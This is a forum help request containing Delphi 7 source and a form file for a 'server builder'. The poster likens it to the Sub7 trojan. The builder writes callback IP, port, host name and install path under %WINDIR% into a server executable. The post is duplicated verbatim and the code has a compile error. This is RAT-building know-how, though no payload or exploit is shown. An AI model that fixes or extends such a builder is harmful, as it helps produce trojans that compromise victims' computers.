Originally made in delphi 7 pro. Someone give me this. READ 101 sent me server maker sample were you have to load the res file into the builder first then edit your settings like in sub7 trojan.
I have problem with my source code for server builder in Delphi 7 Professional:
unit uEditor;
interface
uses
uTypeRecored,
IniFiles,
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Spin, ScktComp;
type
TForm1 = class(TForm)
lblIP: TLabel;
lblPort: TLabel;
lblHostName: TLabel;
lblHostGroup: TLabel;
lblInstallPath: TLabel;
lblFileName: TLabel;
edtIP: TEdit;
sePort: TSpinEdit;
chkInstall: TCheckBox;
edtFileName: TEdit;
edtHostName: TEdit;
edtHostGroup: TEdit;
edtPath: TEdit;
btnSave: TButton;
dlgSave: TSaveDialog;
ClientSocket1: TClientSocket;
Edit1: TEdit;
Button1: TButton;
procedure FormCreate(Sender: TObject);
procedure btnSaveAsClick(Sender: TObject);
procedure chkInstallClick(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
public
{ Public declarations }
Settings: TIniFile;
procedure SaveServerSettings( SaveAs: Boolean );
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.SaveServerSettings( SaveAs: Boolean );
var
FileName: string;
HostFile: TMemoryStream;
FileSettings: TFileSettings;
HostRes: TResourceStream;
begin
if SaveAs = True Then
begin
dlgSave.FileName := 'Server';
dlgSave.Filter := 'PE|*.exe|';
dlgSave.DefaultExt := 'exe';
dlgSave.Execute;
FileName := dlgSave.FileName;
end
if FileName = '' then
Filename := Edit1.Text;
HostRes := TResourceStream.Create(HInstance, 'Server_File', RT_RCDATA);
//HostRes.savetofile('Server.exe');
HostFile := TMemoryStream.Create; //Create the Object;
HostFile.loadfromfile('Server.exe'); //Load the Resource.
FileSettings.IP := edtIP.Text;
FileSettings.Port := sePort.Value;
FileSettings.HostName := edtHostName.Text;
FileSettings.HostGroup := edtHostGroup.Text;
FileSettings.Install := chkInstall.Checked;
FileSettings.InstallPath := edtPath.Text;
FileSettings.FileName := edtFileName.Text;
FileSettings.DWLTS := '1';// if 1 then saved right.
HostFile.Position := HostFile.Size;
HostFile.WriteBuffer(FileSettings, SizeOf(TFileSettings));
hostfile.SaveToFile(FileName);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Settings := TIniFile.Create('Settings.ini');//createt the ini file.
edtIP.Text := Settings.ReadString('Settings','IP', '127.0.0.1');
// ^^if blank plase this into the edit box
sePort.Value := Settings.ReadInteger('Settings', 'PORT', 12345);
edtHostName.Text := Settings.ReadString('Settings', 'HOST NAME', 'Computer 7');
edtHostGroup.Text := Settings.ReadString('Settings', 'HOST GROUP', 'ROOM 3');
edtPath.Text := Settings.ReadString('Settings', 'INSTALL PATH', '%WINDIR%');
edtFileName.Text := Settings.ReadString('Settings', 'FILE NAME', 'Server.exe');
end;
procedure TForm1.btnSaveAsClick(Sender: TObject);
begin
SaveServerSettings(True);
end;
procedure TForm1.chkInstallClick(Sender: TObject);
begin
lblInstallPath.Enabled := chkInstall.Checked;
lblFileName.Enabled := chkInstall.Checked;
edtFileName.Enabled := chkInstall.Checked;
edtHostName.Enabled := chkInstall.Checked;
edtPath.Enabled := chkInstall.Checked;
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
//Saving our INI Settings.
Settings.WriteString('Settings', 'IP', edtIP.Text);
Settings.WriteString('Settings', 'HOST NAME',edtHostName.Text );
Settings.WriteString('Settings', 'HOST GROUP', edtHostGroup.Text);
Settings.WriteString('Settings', 'INSTALL PATH', edtPath.Text);
Settings.WriteString('Settings', 'FILE NAME', edtFileName.Text);
Settings.WriteInteger('Settings','PORT', sePort.Value );
end;
end.
For some reason i get this error:
[Error] uEditor.pas(65): Missing operator or semicolon
[Warning] uEditor.pas(70): Unsafe type 'RT_RCDATA: PAnsiChar'
[Fatal Error] Edit_Server.dpr(6): Could not compile used unit 'uEditor.pas'
In the ueditor.pas i got this:
object Form1: TForm1
Left = 430
Top = 299
Width = 364
Height = 306
Caption = 'Form1'
Color = clBtnFace
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
OldCreateOrder = False
OnClose = FormClose
OnCreate = FormCreate
PixelsPerInch = 96
TextHeight = 13
object lblIP: TLabel
Left = 62
Top = 83
Width = 13
Height = 13
Caption = 'IP:'
end
object lblPort: TLabel
Left = 236
Top = 83
Width = 22
Height = 13
Caption = 'Port:'
end
object lblHostName: TLabel
Left = 25
Top = 123
Width = 56
Height = 13
Caption = 'Host Name:'
end
object lblHostGroup: TLabel
Left = 23
Top = 150
Width = 57
Height = 13
Caption = 'Host Group:'
end
object lblInstallPath: TLabel
Left = 26
Top = 205
Width = 55
Height = 13
Caption = 'Install Path:'
Enabled = False
end
object lblFileName: TLabel
Left = 213
Top = 205
Width = 50
Height = 13
Caption = 'File Name:'
Enabled = False
end
object edtIP: TEdit
Left = 88
Top = 80
Width = 121
Height = 21
TabOrder = 0
Text = '127.0.0.1'
end
object sePort: TSpinEdit
Left = 272
Top = 80
Width = 73
Height = 22
MaxLength = 5
MaxValue = 65536
MinValue = 0
TabOrder = 1
Value = 12345
end
object chkInstall: TCheckBox
Left = 26
Top = 179
Width = 97
Height = 17
Caption = 'Install Host File'
TabOrder = 2
OnClick = chkInstallClick
end
object edtFileName: TEdit
Left = 272
Top = 202
Width = 74
Height = 21
Enabled = False
TabOrder = 3
Text = 'Server.exe'
end
object edtHostName: TEdit
Left = 90
Top = 147
Width = 121
Height = 21
TabOrder = 4
Text = 'Computer 2'
end
object edtHostGroup: TEdit
Left = 90
Top = 120
Width = 121
Height = 21
TabOrder = 5
Text = 'Room 5'
end
object edtPath: TEdit
Left = 90
Top = 202
Width = 105
Height = 21
Enabled = False
TabOrder = 6
Text = '%windir%\host\'
end
object btnSave: TButton
Left = 272
Top = 240
Width = 75
Height = 25
Caption = 'Build Server'
TabOrder = 7
OnClick = btnSaveAsClick
end
object Edit1: TEdit
Left = 8
Top = 8
Width = 273
Height = 21
TabOrder = 8
Text = 'Edit1'
end
object Button1: TButton
Left = 280
Top = 8
Width = 49
Height = 25
Caption = 'Open'
TabOrder = 9
end
object dlgSave: TSaveDialog
Left = 48
Top = 88
end
object ClientSocket1: TClientSocket
Active = False
ClientType = ctNonBlocking
Port = 0
Left = 256
Top = 144
end
end
🤨
I am just getting error compiling. The end lines are threre, so are the semicolounms.
Basically, the resource file holds information and i am trying to load res file in the builder, modify it then rebuild the output as .PE or .exe.
I have problem with my source code for server builder in Delphi 7 Professional:
unit uEditor;
interface
uses
uTypeRecored,
IniFiles,
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Spin, ScktComp;
type
TForm1 = class(TForm)
lblIP: TLabel;
lblPort: TLabel;
lblHostName: TLabel;
lblHostGroup: TLabel;
lblInstallPath: TLabel;
lblFileName: TLabel;
edtIP: TEdit;
sePort: TSpinEdit;
chkInstall: TCheckBox;
edtFileName: TEdit;
edtHostName: TEdit;
edtHostGroup: TEdit;
edtPath: TEdit;
btnSave: TButton;
dlgSave: TSaveDialog;
ClientSocket1: TClientSocket;
Edit1: TEdit;
Button1: TButton;
procedure FormCreate(Sender: TObject);
procedure btnSaveAsClick(Sender: TObject);
procedure chkInstallClick(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
public
{ Public declarations }
Settings: TIniFile;
procedure SaveServerSettings( SaveAs: Boolean );
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.SaveServerSettings( SaveAs: Boolean );
var
FileName: string;
HostFile: TMemoryStream;
FileSettings: TFileSettings;
HostRes: TResourceStream;
begin
if SaveAs = True Then
begin
dlgSave.FileName := 'Server';
dlgSave.Filter := 'PE|*.exe|';
dlgSave.DefaultExt := 'exe';
dlgSave.Execute;
FileName := dlgSave.FileName;
end
if FileName = '' then
Filename := Edit1.Text;
HostRes := TResourceStream.Create(HInstance, 'Server_File', RT_RCDATA);
//HostRes.savetofile('Server.exe');
HostFile := TMemoryStream.Create; //Create the Object;
HostFile.loadfromfile('Server.exe'); //Load the Resource.
FileSettings.IP := edtIP.Text;
FileSettings.Port := sePort.Value;
FileSettings.HostName := edtHostName.Text;
FileSettings.HostGroup := edtHostGroup.Text;
FileSettings.Install := chkInstall.Checked;
FileSettings.InstallPath := edtPath.Text;
FileSettings.FileName := edtFileName.Text;
FileSettings.DWLTS := '1';// if 1 then saved right.
HostFile.Position := HostFile.Size;
HostFile.WriteBuffer(FileSettings, SizeOf(TFileSettings));
hostfile.SaveToFile(FileName);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Settings := TIniFile.Create('Settings.ini');//createt the ini file.
edtIP.Text := Settings.ReadString('Settings','IP', '127.0.0.1');
// ^^if blank plase this into the edit box
sePort.Value := Settings.ReadInteger('Settings', 'PORT', 12345);
edtHostName.Text := Settings.ReadString('Settings', 'HOST NAME', 'Computer 7');
edtHostGroup.Text := Settings.ReadString('Settings', 'HOST GROUP', 'ROOM 3');
edtPath.Text := Settings.ReadString('Settings', 'INSTALL PATH', '%WINDIR%');
edtFileName.Text := Settings.ReadString('Settings', 'FILE NAME', 'Server.exe');
end;
procedure TForm1.btnSaveAsClick(Sender: TObject);
begin
SaveServerSettings(True);
end;
procedure TForm1.chkInstallClick(Sender: TObject);
begin
lblInstallPath.Enabled := chkInstall.Checked;
lblFileName.Enabled := chkInstall.Checked;
edtFileName.Enabled := chkInstall.Checked;
edtHostName.Enabled := chkInstall.Checked;
edtPath.Enabled := chkInstall.Checked;
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
//Saving our INI Settings.
Settings.WriteString('Settings', 'IP', edtIP.Text);
Settings.WriteString('Settings', 'HOST NAME',edtHostName.Text );
Settings.WriteString('Settings', 'HOST GROUP', edtHostGroup.Text);
Settings.WriteString('Settings', 'INSTALL PATH', edtPath.Text);
Settings.WriteString('Settings', 'FILE NAME', edtFileName.Text);
Settings.WriteInteger('Settings','PORT', sePort.Value );
end;
end.
For some reason i get this error:
[Error] uEditor.pas(65): Missing operator or semicolon
[Warning] uEditor.pas(70): Unsafe type 'RT_RCDATA: PAnsiChar'
[Fatal Error] Edit_Server.dpr(6): Could not compile used unit 'uEditor.pas'
In the ueditor.pas i got this:
object Form1: TForm1
Left = 430
Top = 299
Width = 364
Height = 306
Caption = 'Form1'
Color = clBtnFace
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'MS Sans Serif'
Font.Style = []
OldCreateOrder = False
OnClose = FormClose
OnCreate = FormCreate
PixelsPerInch = 96
TextHeight = 13
object lblIP: TLabel
Left = 62
Top = 83
Width = 13
Height = 13
Caption = 'IP:'
end
object lblPort: TLabel
Left = 236
Top = 83
Width = 22
Height = 13
Caption = 'Port:'
end
object lblHostName: TLabel
Left = 25
Top = 123
Width = 56
Height = 13
Caption = 'Host Name:'
end
object lblHostGroup: TLabel
Left = 23
Top = 150
Width = 57
Height = 13
Caption = 'Host Group:'
end
object lblInstallPath: TLabel
Left = 26
Top = 205
Width = 55
Height = 13
Caption = 'Install Path:'
Enabled = False
end
object lblFileName: TLabel
Left = 213
Top = 205
Width = 50
Height = 13
Caption = 'File Name:'
Enabled = False
end
object edtIP: TEdit
Left = 88
Top = 80
Width = 121
Height = 21
TabOrder = 0
Text = '127.0.0.1'
end
object sePort: TSpinEdit
Left = 272
Top = 80
Width = 73
Height = 22
MaxLength = 5
MaxValue = 65536
MinValue = 0
TabOrder = 1
Value = 12345
end
object chkInstall: TCheckBox
Left = 26
Top = 179
Width = 97
Height = 17
Caption = 'Install Host File'
TabOrder = 2
OnClick = chkInstallClick
end
object edtFileName: TEdit
Left = 272
Top = 202
Width = 74
Height = 21
Enabled = False
TabOrder = 3
Text = 'Server.exe'
end
object edtHostName: TEdit
Left = 90
Top = 147
Width = 121
Height = 21
TabOrder = 4
Text = 'Computer 2'
end
object edtHostGroup: TEdit
Left = 90
Top = 120
Width = 121
Height = 21
TabOrder = 5
Text = 'Room 5'
end
object edtPath: TEdit
Left = 90
Top = 202
Width = 105
Height = 21
Enabled = False
TabOrder = 6
Text = '%windir%\host\'
end
object btnSave: TButton
Left = 272
Top = 240
Width = 75
Height = 25
Caption = 'Build Server'
TabOrder = 7
OnClick = btnSaveAsClick
end
object Edit1: TEdit
Left = 8
Top = 8
Width = 273
Height = 21
TabOrder = 8
Text = 'Edit1'
end
object Button1: TButton
Left = 280
Top = 8
Width = 49
Height = 25
Caption = 'Open'
TabOrder = 9
end
object dlgSave: TSaveDialog
Left = 48
Top = 88
end
object ClientSocket1: TClientSocket
Active = False
ClientType = ctNonBlocking
Port = 0
Left = 256
Top = 144
end
end
🤨
I am just getting error compiling. The end lines are threre, so are the semicolounms.
Basically, the resource file holds information and i am trying to load res file in the builder, modify it then rebuild the output as .PE or .exe.


![[Image: F2G97kn.png]](https://i.imgur.com/F2G97kn.png)